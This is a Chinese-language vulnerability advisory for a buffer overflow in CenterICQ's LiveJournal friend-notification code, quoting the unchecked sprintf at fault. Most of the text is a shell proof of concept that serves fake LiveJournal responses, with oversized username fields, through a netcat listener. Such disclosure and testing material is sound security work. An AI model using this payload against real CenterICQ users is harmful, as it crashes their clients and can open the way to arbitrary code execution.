危害级别:★★★★★★
影响版本:
Konst CenterICQ 4.21
Konst CenterICQ 4.20
Konst CenterICQ 4.14
Konst CenterICQ 4.13
Konst CenterICQ 4.12
Konst CenterICQ 4.9.12
Konst CenterICQ 4.9.11
 
详细说明:
CenterICQ包含对LiveJournal的支持，如张贴日记，读取其他BLOG的RSS种子等其他功能。

CenterICQ存在缓冲区溢出问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。

问题存在于SOURCE/src/hooks/ljhook.cc文件中：

char buf[512];
...
if(find(friendof.begin(), friendof.end(), in->first) ==
friendof.end()) {
friendof.push_back(in->first);

if(!foempty) {
bd = (string) "http://" +
conf.getourid(proto).server + "/users/" + in->first;

sprintf(buf, _("The user %s (%s) has added you to
his/her friend list\n\nJournal address: %s"),
in->first.c_str(), in->second.c_str(), bd.c_str());

em.store(imnotification(self, buf));
}
}
...

由于对用户名和实际名缺少正确的长度检查，可导致缓冲区溢出，精心构建提交数据可能以进程权限执行任意指令。

参考:
漏洞提供者
Lolek 
解决方案:
目前没有解决方案提供：

http://thekonst.net/centericq/

测试方法:

-- SNIP ---
#!/bin/sh

cat > req1.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF

cat > req2.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF

cat > req3.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
lolek
friendof_2_user
lolek
friendof_3_bg
#ffffff
friendof_3_fg
#000000
friendof_3_name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA
friendof_3_user
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
friendof_count
3
success
OK
__EOF

netcat -lp 8000 < req1.txt
netcat -lp 8000 < req2.txt
netcat -lp 8000 < req3.txt

--- SNIP ---